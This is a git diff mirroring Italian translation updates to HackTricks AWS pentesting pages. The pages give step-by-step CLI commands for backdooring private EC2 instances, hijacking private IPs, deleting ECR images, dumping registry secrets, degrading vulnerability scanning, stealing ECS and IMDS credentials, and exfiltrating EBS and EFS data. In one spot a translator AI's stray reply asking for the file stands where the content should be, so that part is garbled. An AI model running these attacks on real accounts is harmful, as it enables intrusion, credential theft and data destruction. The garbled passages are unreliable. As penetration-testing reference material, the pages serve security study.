mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 23:01:43 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-l
This commit is contained in:
Translator
@@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse EC2 Instance Connect Endpoint (EIC Endpoint) to gain inbound SSH access to private EC2 instances (no public IP/bastion) by:
|
||||
- Creare un EIC Endpoint all'interno della subnet target
|
||||
Sfruttare EC2 Instance Connect Endpoint (EIC Endpoint) per ottenere accesso SSH in ingresso a istanze EC2 private (no public IP/bastion) mediante:
|
||||
- Creazione di un EIC Endpoint all'interno della subnet target
|
||||
- Consentire SSH in ingresso sul target SG dallo SG dell'EIC Endpoint
|
||||
- Iniettare una chiave pubblica SSH di breve durata (valida ~60 secondi) con `ec2-instance-connect:SendSSHPublicKey`
|
||||
- Iniettare una chiave pubblica SSH a breve durata (valida ~60 seconds) con `ec2-instance-connect:SendSSHPublicKey`
|
||||
- Aprire un tunnel EIC e pivotare verso l'istanza per rubare le credenziali dell'instance profile da IMDS
|
||||
|
||||
Impatto: percorso di accesso remoto furtivo verso istanze EC2 private che bypassa bastions e le restrizioni sugli IP pubblici. L'attaccante può assumere l'instance profile e operare nell'account.
|
||||
Impatto: percorso di accesso remoto furtivo verso istanze EC2 private che bypassa bastion e restrizioni sui public IP. L'attaccante può assumere l'instance profile e operare nell'account.
|
||||
|
||||
## Requisiti
|
||||
- Permessi per:
|
||||
@@ -27,7 +27,7 @@ export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
|
||||
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
|
||||
export OS_USER=ec2-user
|
||||
```
|
||||
## Crea endpoint EIC
|
||||
## Crea EIC Endpoint
|
||||
```bash
|
||||
aws ec2 create-instance-connect-endpoint \
|
||||
--subnet-id "$SUBNET_ID" \
|
||||
@@ -51,7 +51,7 @@ aws ec2 authorize-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
```
|
||||
## Iniettare una SSH key effimera e aprire un tunnel
|
||||
## Iniettare una chiave SSH effimera e aprire un tunnel
|
||||
```bash
|
||||
# Generate throwaway key
|
||||
ssh-keygen -t ed25519 -f /tmp/eic -N ''
|
||||
@@ -73,13 +73,13 @@ TUN_PID=$!; sleep 2
|
||||
# SSH via the tunnel (within the 60s window)
|
||||
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
|
||||
```
|
||||
## Prova di Post-exploitation (steal instance profile credentials)
|
||||
## Post-exploitation proof (rubare le credenziali dell'instance profile)
|
||||
```bash
|
||||
# From the shell inside the instance
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
|
||||
```
|
||||
I don’t have the contents of that file. Please paste the Markdown/HTML text from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md that you want translated, and I’ll return the Italian translation preserving all tags, code, links and paths exactly as requested.
|
||||
Per favore incolla il contenuto del file src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md che desideri tradurre.
|
||||
```json
|
||||
{
|
||||
"Code": "Success",
|
||||
@@ -109,5 +109,6 @@ aws ec2 delete-instance-connect-endpoint \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
|
||||
```
|
||||
> Note
|
||||
> - La chiave SSH iniettata è valida solo per ~60 secondi; invia la chiave immediatamente prima di aprire il tunnel/SSH.
|
||||
> - `OS_USER` deve corrispondere all'AMI (ad es., `ubuntu` per Ubuntu, `ec2-user` per Amazon Linux 2).
|
||||
> - La chiave SSH iniettata è valida solo per ~60 secondi; invia la chiave subito prima di aprire il tunnel/SSH.
|
||||
> - `OS_USER` deve corrispondere all'AMI (ad esempio, `ubuntu` per Ubuntu, `ec2-user` per Amazon Linux 2).
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,30 +2,30 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Sfrutta `ec2:UnassignPrivateIpAddresses` e `ec2:AssignPrivateIpAddresses` per rubare l'indirizzo IP privato secondario di un'ENI vittima e spostarlo su un'ENI dell'attaccante nello stesso subnet/AZ. Molti servizi interni e security group limitano l'accesso in base a specifici indirizzi IP privati. Spostando quell'indirizzo secondario, l'attaccante si finge l'host di fiducia a livello L3 e può raggiungere i servizi in allowlist.
|
||||
Abuse `ec2:UnassignPrivateIpAddresses` and `ec2:AssignPrivateIpAddresses` per rubare l'indirizzo IP privato secondario di una ENI vittima e spostarlo su una ENI dell'attaccante nello stesso subnet/AZ. Molti servizi interni e security groups limitano l'accesso in base a IP privati specifici. Spostando quell'indirizzo secondario, l'attaccante si fa passare per l'host trusted a livello L3 e può raggiungere allowlisted services.
|
||||
|
||||
Prerequisiti:
|
||||
- Permessi: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` sull'ARN dell'ENI vittima, e `ec2:AssignPrivateIpAddresses` sull'ARN dell'ENI dell'attaccante.
|
||||
- Entrambi gli ENI devono trovarsi nella stessa subnet/AZ. L'indirizzo target deve essere un IP secondario (il primario non può essere rimosso).
|
||||
- Permessi: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` sull'ARN della ENI vittima, e `ec2:AssignPrivateIpAddresses` sull'ARN della ENI dell'attaccante.
|
||||
- Entrambe le ENI devono essere nello stesso subnet/AZ. L'indirizzo target deve essere un IP secondario (l'IP primario non può essere rimosso).
|
||||
|
||||
Variabili:
|
||||
- REGION=us-east-1
|
||||
- VICTIM_ENI=<eni-xxxxxxxx>
|
||||
- ATTACKER_ENI=<eni-yyyyyyyy>
|
||||
- PROTECTED_SG=<sg-protected> # SG on a target service that allows only $HIJACK_IP
|
||||
- PROTECTED_SG=<sg-protected> # SG su un servizio target che permette solo $HIJACK_IP
|
||||
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
|
||||
|
||||
Passaggi:
|
||||
1) Scegli un indirizzo IP secondario dall'ENI vittima
|
||||
1) Seleziona un IP secondario dall'ENI vittima
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
|
||||
export HIJACK_IP=$(cat HIJACK_IP)
|
||||
```
|
||||
2) Assicurati che l'host protetto permetta solo quell'IP (idempotent). Se usi SG-to-SG rules invece, salta.
|
||||
2) Assicurati che l'host protetto permetta solo quell'IP (idempotente). Se invece usi regole SG-to-SG, salta.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
|
||||
```
|
||||
3) Linea di base: dalla attacker instance, la richiesta a PROTECTED_HOST dovrebbe fallire senza spoofed source (es., tramite SSM/SSH)
|
||||
3) Linea di base: dall'attacker instance, la richiesta a PROTECTED_HOST dovrebbe fallire senza spoofed source (es., via SSM/SSH)
|
||||
```bash
|
||||
curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```
|
||||
@@ -33,7 +33,7 @@ curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```bash
|
||||
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
5) Assegna lo stesso IP all'ENI dell'attacker (su AWS CLI v1 aggiungi `--allow-reassignment`)
|
||||
5) Assegna lo stesso IP all'ENI dell'attaccante (su AWS CLI v1 aggiungi `--allow-reassignment`)
|
||||
```bash
|
||||
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
@@ -41,10 +41,11 @@ aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --pri
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
|
||||
```
|
||||
7) Dalla attacker instance, source-bind all'hijacked IP per raggiungere l'host protetto (assicurati che l'IP sia configurato sul sistema operativo; in caso contrario, aggiungilo con `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
7) Dall'istanza dell'attaccante, source-bind to the hijacked IP per raggiungere l'host protetto (assicurati che l'IP sia configurato sul sistema operativo; in caso contrario, aggiungilo con `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
```bash
|
||||
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
|
||||
```
|
||||
## Impact
|
||||
- Bypass IP allowlists e impersonate trusted hosts all'interno della VPC spostando secondary private IPs tra ENIs nella stessa subnet/AZ.
|
||||
- Raggiungere servizi interni che limitano l'accesso in base a specifiche source IPs, permettendo lateral movement e data access.
|
||||
## Impatto
|
||||
- Bypassare le allowlists IP e impersonare host di fiducia all'interno della VPC spostando secondary private IPs tra ENIs nello stesso subnet/AZ.
|
||||
- Raggiungere servizi interni che controllano l'accesso in base a specifici source IPs, consentendo lateral movement e data access.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Un attacker con una qualsiasi di queste autorizzazioni può **creare o modificare una lifecycle policy per eliminare tutte le immagini nel repository** e poi **cancellare l'intero ECR repository**. Ciò comporterebbe la perdita di tutte le immagini dei container memorizzate nel repository.
|
||||
Un attaccante con una qualsiasi di queste autorizzazioni può **creare o modificare una policy del ciclo di vita per eliminare tutte le immagini nel repository** e poi **eliminare l'intero repository ECR**. Ciò comporterebbe la perdita di tutte le immagini dei container memorizzate nel repository.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -90,27 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Se ECR Pull‑Through Cache è configurato per registri upstream autenticati (Docker Hub, GHCR, ACR, etc.), le credenziali upstream vengono memorizzate in AWS Secrets Manager con un prefisso di nome prevedibile: `ecr-pullthroughcache/`. Gli operatori a volte concedono agli amministratori ECR ampio accesso in lettura a Secrets Manager, abilitando l'exfiltration delle credenziali e il loro riutilizzo al di fuori di AWS.
|
||||
Se ECR Pull‑Through Cache è configurato per registri upstream autenticati (Docker Hub, GHCR, ACR, ecc.), le credenziali upstream vengono memorizzate in AWS Secrets Manager con un prefisso di nome prevedibile: `ecr-pullthroughcache/`. Gli operatori a volte concedono agli amministratori ECR un ampio accesso in lettura a Secrets Manager, abilitando credential exfiltration e il riutilizzo delle credenziali al di fuori di AWS.
|
||||
|
||||
Requisiti
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Enumerare i segreti PTC candidati
|
||||
Enumerate candidate PTC secrets
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Esegui il dump dei segreti scoperti e analizza i campi comuni
|
||||
Scarica i secrets scoperti e analizza i campi comuni
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
@@ -120,25 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
Facoltativo: convalida leaked creds contro l'upstream (login in sola lettura)
|
||||
Opzionale: verificare leaked creds contro l'upstream (accesso in sola lettura)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Impatto
|
||||
- La lettura di queste voci di Secrets Manager restituisce credenziali riutilizzabili del registry upstream (username/password or token), che possono essere sfruttate anche al di fuori di AWS per scaricare immagini private o accedere a repository aggiuntivi a seconda delle autorizzazioni upstream.
|
||||
- La lettura di queste voci di Secrets Manager fornisce credenziali riutilizzabili del registro upstream (username/password or token), che possono essere sfruttate al di fuori di AWS per pullare immagini private o accedere a repository aggiuntivi a seconda dei permessi upstream.
|
||||
|
||||
|
||||
### Registry-level stealth: disabilitare o degradare la scansione tramite `ecr:PutRegistryScanningConfiguration`
|
||||
### Stealth a livello di registry: disabilitare o degradare la scansione via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Un attacker con permessi ECR a livello di registry può silenziosamente ridurre o disabilitare la scansione automatica delle vulnerabilità per ALL repositories impostando la registry scanning configuration su BASIC senza regole scan-on-push. Questo impedisce che i nuovi image pushes vengano scansionati automaticamente, nascondendo immagini vulnerabili o malevole.
|
||||
Un attaccante con permessi ECR a livello di registry può ridurre o disabilitare silenziosamente la scansione automatica delle vulnerabilità per TUTTI i repository impostando la configurazione di scanning del registry su BASIC senza regole di scan-on-push. Questo impedisce che le nuove push di immagini vengano scansionate automaticamente, nascondendo immagini vulnerabili o dannose.
|
||||
|
||||
Requisiti
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
- ecr:PutImageScanningConfiguration (opzionale, per-repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verifica)
|
||||
|
||||
Declassamento dell'intero registry a modalità manuale (nessuna scansione automatica)
|
||||
Degradazione a livello di registry a manuale (nessuna scansione automatica)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
@@ -150,7 +144,7 @@ aws ecr put-registry-scanning-configuration \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
Test con un repo e un'immagine
|
||||
Test con un repository e un'immagine
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
@@ -165,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
Opzionale: degradare ulteriormente a livello di repo
|
||||
Opzionale: degradare ulteriormente a livello del repository
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -174,19 +168,19 @@ aws ecr put-image-scanning-configuration \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Impatto
|
||||
- I nuovi push di immagini attraverso il registry non vengono scansionati automaticamente, riducendo la visibilità di contenuti vulnerabili o maligni e ritardando il rilevamento fino a quando non viene avviata una scansione manuale.
|
||||
- Nuove push di immagini nel registry non vengono scansionate automaticamente, riducendo la visibilità di contenuti vulnerabili o malevoli e ritardando la rilevazione fino a quando non viene avviata una scansione manuale.
|
||||
|
||||
|
||||
### Downgrade del motore di scansione a livello di registry tramite `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
### Downgrade del motore di scansione a livello di registry via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Riduci la qualità del rilevamento delle vulnerabilità in tutto il registry passando il motore di scansione BASIC dal valore predefinito AWS_NATIVE al motore legacy CLAIR. Questo non disabilita la scansione ma può cambiare sostanzialmente i risultati/coprertura. Combinalo con una configurazione di scansione del registry BASIC senza regole per rendere le scansioni solo manuali.
|
||||
Riduci la qualità del rilevamento delle vulnerabilità in tutto il registry cambiando il motore di scansione BASIC dal default AWS_NATIVE al motore legacy CLAIR. Questo non disabilita le scansioni ma può modificare in modo significativo i risultati/copertura. Combinalo con una configurazione di scansione registry BASIC senza regole per rendere le scansioni eseguibili solo manualmente.
|
||||
|
||||
Requisiti
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Opzionale) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Impatto
|
||||
- L'impostazione del registry `BASIC_SCAN_TYPE_VERSION` viene impostata su `CLAIR`, quindi le successive scansioni BASIC vengono eseguite con il motore declassato. CloudTrail registra la chiamata API `PutAccountSetting`.
|
||||
- Impostazione del registry `BASIC_SCAN_TYPE_VERSION` impostata su `CLAIR` in modo che le successive scansioni BASIC vengano eseguite con il motore degradato. CloudTrail registra la chiamata API `PutAccountSetting`.
|
||||
|
||||
Passaggi
|
||||
```bash
|
||||
@@ -207,4 +201,4 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,33 +12,33 @@ For more information check:
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
Nell'ECS un **IAM role può essere assegnato al task** eseguito all'interno del container. **Se** il task viene eseguito su un'istanza **EC2**, l'**istanza EC2** avrà un **altro IAM** role collegato a essa.\
|
||||
Ciò significa che se riesci a **compromettere** un'istanza ECS puoi potenzialmente **ottenere l'IAM role associato a ECR e all'istanza EC2**. Per maggiori informazioni su come ottenere quelle credenziali consulta:
|
||||
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che se l'istanza EC2 sta imponendo IMDSv2, [**secondo la documentazione**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **risposta della richiesta PUT** avrà un **hop limit di 1**, rendendo impossibile accedere ai metadati EC2 da un container all'interno dell'istanza EC2.
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Inoltre, EC2 uses docker per eseguire ECS tasks, quindi se puoi escape to the node o **access the docker socket**, puoi **verificare** quali **altri container** sono in esecuzione, e persino **entrare al loro interno** e **rubare gli IAM role** loro associati.
|
||||
Inoltre, EC2 usa docker per eseguire le tasks di ECS, quindi se riesci a evadere verso il node o **access the docker socket**, puoi **verificare** quali **altri containers** sono in esecuzione, ed anche **entrare al loro interno** e **rubare gli IAM roles** ad essi associati.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Furthermore, l'**EC2 instance role** di solito avrà sufficienti **permissions** per **aggiornare lo stato della container instance** delle istanze EC2 usate come nodi all'interno del cluster. Un attacker potrebbe modificare lo **stato di un'istanza in DRAINING**, quindi ECS **rimuoverà tutti i task da essa** e quelli eseguiti come **REPLICA** saranno **eseguiti in una diversa istanza,** potenzialmente all'interno dell'**istanza dell'attaccante**, così da poter **rubare i loro IAM role** e eventuali informazioni sensibili presenti all'interno del container.
|
||||
Inoltre, il **EC2 instance role** di solito avrà sufficienti **permissions** per **update the container instance state** delle EC2 instances usate come nodes all'interno del cluster. Un attacker potrebbe modificare lo **state of an instance to DRAINING**, quindi ECS **rimuoverà tutte le tasks da essa** e quelle eseguite come **REPLICA** verranno **eseguite in un'istanza diversa**, potenzialmente all'interno dell'**attacker's instance**, così da poter **rubare i loro IAM roles** e eventuali informazioni sensibili presenti all'interno del container.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
La stessa tecnica può essere eseguita **rimuovendo l'istanza EC2 dal cluster**. Questo è potenzialmente meno stealthy ma **forzerà l'esecuzione dei tasks su altre istanze:**
|
||||
La stessa tecnica può essere eseguita anche **deregistering the EC2 instance from the cluster**. Questo è potenzialmente meno stealthy ma **forzerà i tasks a essere eseguiti in altre istanze:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Una tecnica finale per forzare la riesecuzione delle task è indicare a ECS che la **task o il container è stato arrestato**. Ci sono 3 API potenziali per farlo:
|
||||
Una tecnica finale per forzare la re-esecuzione dei task è indicare a ECS che il **task o container è stato fermato**. Ci sono 3 API potenziali per farlo:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -52,9 +52,9 @@ aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
L'istanza EC2 probabilmente avrà anche il permesso `ecr:GetAuthorizationToken` che le permette di **download images** (potresti cercare informazioni sensibili al loro interno).
|
||||
L'istanza EC2 probabilmente avrà anche il permesso `ecr:GetAuthorizationToken` che le permette di **scaricare immagini** (puoi cercare informazioni sensibili al loro interno).
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -62,9 +62,9 @@ L'istanza EC2 probabilmente avrà anche il permesso `ecr:GetAuthorizationToken`
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Abusa dell'integrazione nativa ECS-EBS (2024+) per montare il contenuto di uno snapshot EBS esistente direttamente all'interno di un nuovo task/servizio ECS e leggere i suoi dati dal container.
|
||||
Abusa dell'integrazione nativa ECS EBS (2024+) per montare il contenuto di uno snapshot EBS esistente direttamente all'interno di un nuovo task/service ECS e leggere i suoi dati dal container.
|
||||
|
||||
- Richiede (minimo):
|
||||
- Needs (minimum):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole on:
|
||||
@@ -72,18 +72,18 @@ Abusa dell'integrazione nativa ECS-EBS (2024+) per montare il contenuto di uno s
|
||||
- Task execution/Task roles referenced by the task definition
|
||||
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
|
||||
|
||||
- Impatto: leggere contenuti arbitrari del disco dallo snapshot (es., file di database) all'interno del container ed esfiltrarli via rete/log.
|
||||
- Impact: leggere contenuti arbitrari del disco dallo snapshot (es. file di database) all'interno del container ed esfiltrarli tramite rete/log.
|
||||
|
||||
Passaggi (esempio Fargate):
|
||||
Steps (Fargate example):
|
||||
|
||||
1) Crea il ruolo infrastruttura ECS (se non esiste) e allega la managed policy:
|
||||
1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Registra una task definition con un volume contrassegnato `configuredAtLaunch` e montalo nel container. Esempio (stampa il secret e poi dorme):
|
||||
2) Registra una task definition con un volume marcato `configuredAtLaunch` e montalo nel container. Esempio (stampa il secret e poi esegue sleep):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -103,7 +103,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Crea o aggiorna un servizio passando lo snapshot EBS tramite `volumeConfigurations.managedEBSVolume` (richiede iam:PassRole sul ruolo infra). Esempio:
|
||||
3) Crea o aggiorna un service passando lo snapshot EBS tramite `volumeConfigurations.managedEBSVolume` (richiede iam:PassRole sul ruolo dell'infrastruttura). Esempio:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -117,7 +117,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Quando il task viene avviato, il container può leggere il contenuto dello snapshot nel percorso di mount configurato (es., `/loot`). Exfiltrate via the task’s network/logs.
|
||||
4) Quando il task si avvia, il container può leggere il contenuto dello snapshot nel mount path configurato (es., `/loot`). Esfiltra tramite la rete/log del task.
|
||||
|
||||
Pulizia:
|
||||
```bash
|
||||
@@ -125,4 +125,4 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,17 +1,19 @@
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Furto di dati)
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Esfiltrazione dati)
|
||||
|
||||
Abusa di `lambda:UpdateFunctionConfiguration` per allegare un EFS Access Point esistente a una Lambda, quindi deploya codice triviale che elenca/legge file dal percorso montato per esfiltrare segreti/config condivisi a cui la funzione prima non poteva accedere.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusa di `lambda:UpdateFunctionConfiguration` per collegare un EFS Access Point esistente a una Lambda, quindi distribuire codice minimale che elenchi/legga i file dal percorso montato per esfiltrare segreti/config condivisi a cui la funzione in precedenza non poteva accedere.
|
||||
|
||||
## Requisiti
|
||||
- Permessi sull'account/principale vittima:
|
||||
- Permessi sull'account/principal vittima:
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:ListFunctions` (per trovare le funzioni)
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `lambda:InvokeFunction`
|
||||
- `efs:DescribeMountTargets` (per confermare che esistono mount targets)
|
||||
- `efs:DescribeMountTargets` (per confermare che esistano mount targets)
|
||||
- Assunzioni sull'ambiente:
|
||||
- La Lambda target è VPC-enabled e le sue subnet/SGs possono raggiungere il SG del mount target EFS su TCP/2049 (es. il ruolo ha AWSLambdaVPCAccessExecutionRole e il routing VPC lo consente).
|
||||
- La Lambda target ha VPC abilitato e le sue subnet/SG possono raggiungere lo SG dell'EFS mount target su TCP/2049 (es. il ruolo ha AWSLambdaVPCAccessExecutionRole e il routing VPC lo permette).
|
||||
- L'EFS Access Point si trova nella stessa VPC e ha mount targets nelle AZ delle subnet della Lambda.
|
||||
|
||||
## Attacco
|
||||
@@ -21,7 +23,7 @@ REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
EFS_AP_ARN=<efs-access-point-arn>
|
||||
```
|
||||
1) Collega l'EFS Access Point alla Lambda
|
||||
1) Collegare l'EFS Access Point alla Lambda
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
@@ -30,7 +32,7 @@ aws lambda update-function-configuration \
|
||||
# wait until LastUpdateStatus == Successful
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
2) Sovrascrivi il codice con un semplice reader che elenca i file e mostra i primi 200 byte di un potenziale secret/config file
|
||||
2) Sovrascrivere il codice con un semplice lettore che elenca i file e mostra i primi 200 byte di un file candidato secret/config
|
||||
```
|
||||
cat > reader.py <<PY
|
||||
import os, json
|
||||
@@ -57,18 +59,19 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://re
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
|
||||
